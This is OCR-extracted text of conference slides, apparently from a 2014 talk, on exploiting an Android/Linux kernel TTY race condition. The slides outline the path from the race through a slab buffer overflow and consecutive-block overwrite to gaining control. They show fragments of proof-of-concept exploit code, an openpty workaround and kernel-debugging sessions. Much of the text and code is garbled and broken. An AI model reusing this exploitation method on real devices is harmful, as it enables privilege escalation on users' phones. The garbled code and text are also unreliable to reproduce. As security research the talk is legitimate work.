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TTY DROIDS

I Bug i TOCTOU + CVE

I Resources I Out Of Boundary

I SLAB 1 Information gathering
1 target 1 State of exploitation
I Race I Hardenings

1 Odays, what for ?




TURBO (2013) © DreamWorks Animation LLC
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rt_flip_string_fixed_flag - Add characters to the thy buffer
each character
to the tty buffering. All the chara
th the supplied flag. Returns the nu

Locking: Called functions may take tty- =buf.lock

ine thy_insert_flip_string_fixed_flag

const unsigned ¢ r *chara, ct

return ot

TTY racing issue

weak lock ...

1.

2. Afterwards working with
memory not locked, but
fast & SHOULD be safe

3.
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TTY racing issue
core of the BUG

openpty(int*

ETTY { master + slave } * open("/dev/
F Multithread access! -

Fattempt to return there IS a space, even there is NOT!

Fwrite to master
Ewrite to slave
Fcause RACEEONDITION

F memcpy + memset prologon execution gap
Ewrite(tb->size) to slave (SLOW!)
Ewrite(1) to master (FAST!)




LERONIGHTS 2014

Race OK! What Is next ?

= e — - e S — — —— =

1. Race fomt confusion
2. buffer overflow

00 byt for 1 L4B lck 3. controlcontent of
1" 4. do overwriteto
consecutiveblocks

SLAE PAGE 4

5. gain control
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| TTY Z problem 1. openpty

x", O_RDWR | O_NONBLOCK));

return false;

int slave = connect_slave(master.get());
if (-1 == slawve)
1. Lack of implementation in return false; int
current NDK : armeabi7a + connect slavel
API level 19 = ster.release(); int ;

\
J

2. That means even natlsym!

3. Find out how to implement it :
https://qgithub.com/gavinlin/dr

opbearior-
android/blob/master/openpty.
C

Find out IF IT WORKS!

Find out how it works, and
implement it for our needs!

aute name_slave = ptsname( |
return open{name_slave, O RDWR | O NOCTTY);



https://github.com/gavinlin/dropbear-for-android/blob/master/openpty.c

LERONIGHTS 2014 TTY - PoCvs android vs
Implementation

TriggerRaceCondition(
int
int

L, NULL, NULL) == -1) {

!

++3)
j1, MNULL, NULL, NULL) ==

inline
id
EnterCple(

write});

inline

t att

if (pthr
put
retu

1

¥

write(ma

pthread_j

wri
usleep(l

deadbeef);
adbeef);
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I write to slave/masterare = = = = bool
OAOUI AEOI I | OO0 A | % Jiss
Z not necessaryhreadfor race! o

T Open("/deV/pth ") Instead Of h EnableSecondRacer(

Openpty CTTyContainer tty slab;

Fre .p areSLAB(tty slab,

Z open just master! )
Z uOA A lCEI O 3 | | . OI’ A C E A TriggerRaceCondition(

t t_':,-'_'i lab.FloodkmallocWithTTY I:: -1 :I H

T IOCtI Ca”S JUStfor Slaves J it ioctl drivers handling routines! in count of “DIST
) ti=1; i <= DIST_IN_PAGES; i++)
i open _Sla_\/e to master when it comes to DoHiddenPointerOveririte( , i == DIST_IN_PAGES);
eXpIOItatlon EnterCple(tty_slab);
I now it should be clear from code, o1 (nmercre, oxdendbaetys
What 1S dOIng! | ioctl( » Bxdeadbeef);

https://blog.nelhage.com/2009/12/arief-introduction-to-termios-termios3and-stty/



https://blog.nelhage.com/2009/12/a-brief-introduction-to-termios-termios3-and-stty/
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TTY Z problem 2.

android debug ?

"C\Program Files (x86)\Windows Kits\8.1\Debuggers\x64\adplus.exe” - WinDbg:6.3.9600.16384 AMD64

[ ®™ o

s Headings

ntdll!LdrpDol

ntdll!LdrpInit
ntdll! LdrpIni
ntdll!IdrIniti

b ptr [
ntdll!Idrpl

Ldrp
h

Memory Command

4

Linux :O

arm-linux-androideabi-gdb.exe vmlinux - Far 3.0.3525 x64
opyrignt © 1996-2000 Eugene Roshal, Copyright © 2000-2013 Far Group

D:\VSHARE\goldfish>arm-1inux-androideabi-gdb.exe wmlinux

GNU gdb (GDB) 7.3.1-gg2

opyright (C) 2011 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
IThis is free software: you are free to change and redistribute it.

[There is NO WARRANTY, to the extent permitted by law. Type "show copying”
and "show warranty"” for details.

iThis GDB was configured as "--host=x86_64-pc-mingw32msvc --target=arm-linux-android"”.
For bug reporting instructions, please see:
<http://source.android.com/source/report-bugs.html=. ..

Reading symbols from D:/VSHARE/goldfish/vmlinux...done.

(gdb) target remote droid:1234

Remote debugging using droid:1234

Oxb6fa3béc 1n 27 ()

(gdb) i r

r0 0xbef0ebh0 -1091508560
rl Oxb6fafcfs -1225065224
r2 Oxb 11

r3 0xb 11

r4 Oxbef0e688 -1091508600
r5 0x0 0

r6 0xb 11

r7 Oxb6fafcfs -1225065224
r& 0x0 0

r9 0x0 0

r10 0x0 0

ril Oxb 11

ri2 0x63 99

sp Oxbef0e510 Oxbef0e50
1r Oxb6TaZe33 -1225118157
pc Oxb6ta3béc Oxb6Ta3béc
cpsr 0x60000010 1610612752

(gdb) x/81 $pc

annot access memory at address Oxb

=> Oxb6fa3b8c: pus {ro, r4, Ir}
0xb6fa3b90: sub sp, sp, #28
Oxb&ta3b94: pld [r0O]
Oxbé&fa3b98: pld rl
Oxb6fa3b9c: pld [r1, #32]
Oxb&fa3dbal: cmp r2, #4
Oxb6fa3ba4: bec Oxb6faleds
Oxb6fa3ba&: rsb r3, ri, #0

(ﬁdb) -
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_ Linux debugging Z but

Queue a series of bytes to the tty buffering. All the characters
passed are marked with the supplied flag. Returns the number added.

Locking: Called functions may take tty- =buf.lock

tty_ msert ﬂlp_strlng fixed_flag =cruct “tty,
igned char “ghars, char [ : Symbol Info

;::{ccpied by, struct
i gize_t, ied ¥ ;

ot veques PO Stucture in Ty.h finclude inus) at fine 259 (76 lines)

S * If there i= no <|::ace then tb mav be NULL *
i:' 1"11.1.;&1\?
struct tty cperations;

int magic;
struct kref kref;
I e; struct device *dev;
[ * There is a small chance that we need to split the data aver atruct 3 er *driver;
several buffers. If this is the case we must loop * const struct y_operations “ops:
} while (unlikelyiaize > * ; !
return ied _ . .
[/ * Protects |disc changes: Lock thy not pty */
XPORT_SYMBOL (tty insert flip string fixed Flag); sEruct mutex ld.‘l.sc_m..ltex;
o e BR_E e _tEE struct 3o *ldiac;

S

tty_insert_flip_string_flags - Add characters to the tty buffer t ctrl lock;
@tty: tty structure ) -
@chars: characters
@flags: flag bytes
@=ize: size

struct tex bermios_mutesx;

Jump Beferences Open file in @ window

Queue a series of bytes to the tty buffering. For each character
the flags array indicates the status of the character. Returns the
number added.

Locking: Called functions may take tty- =buf.lock

ine tty_insert_flip_string_flags izcruct

const unsigned char *chars,

int copied
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ot Linux debugging Z but ...

Auto capture keyboard option tu This will cause the Virtual Machine to automatically capture the keyboard every time the VM window

@ No command 'emulator' found, did you mean:

Command 'gemulator' from package 'gemulator' (universe)

emulator: command not found

alica@alica-VirtualBox:~$ export PATH=SPATH:/media/sf_VSHARE/adt-bundle-linux-x86_64-20140702/sdk/tools
alica@alica-VirtualBox:~$ clear

alica@alica-VirtualBox:~$ emulator
emulator: ERROR: You did not specify a virtual device name, and the system
directory could not be found.

If you are an Android SDK user, please use '@<name>' or '-avd <name>
to start a given virtual device (see -help-avd for details).

lotherwise, follow the instructions in -help-disk-images to start the emulator
alica@alica-virtualBox:~$ clear

alica@alica-VirtualBox:~$ emulator -avd dev2pwn -kernel ~/goldfish/arch/arm/boot/zImage -show-kernel -q
u -5

SHIPPED arcnjarm/boot/Compressed/ LIDITUNCS.S TOUT@ATICa-VIItUaTE0X: =
SHIPPED arch/arm/boot/compressed/ashldi3.s root@alica-VirtualBox:~# adb shell]]
AS archfarm/boot/compressed/Llibifuncs.o

AS archfarm/boot/compressed/ashldi3.o

AS arch/arm/boot/compressed/piggy.gzip.o

LD arch/arm/boot/compressed/vmlinux

0BJCOPY arch/arm/boot/zImage

Kernel: arch/arm/boot/zImage is ready
alica@alica-VirtualBox:~/goldfish$ D

[{gUOJ [T
alicagalica-VIrtualBox: ~

‘ alica@alica-virtualBox:~5$ adb push /media/sf_VSHARE

|i|7i\ |i" S

PROBLEM SOLVED
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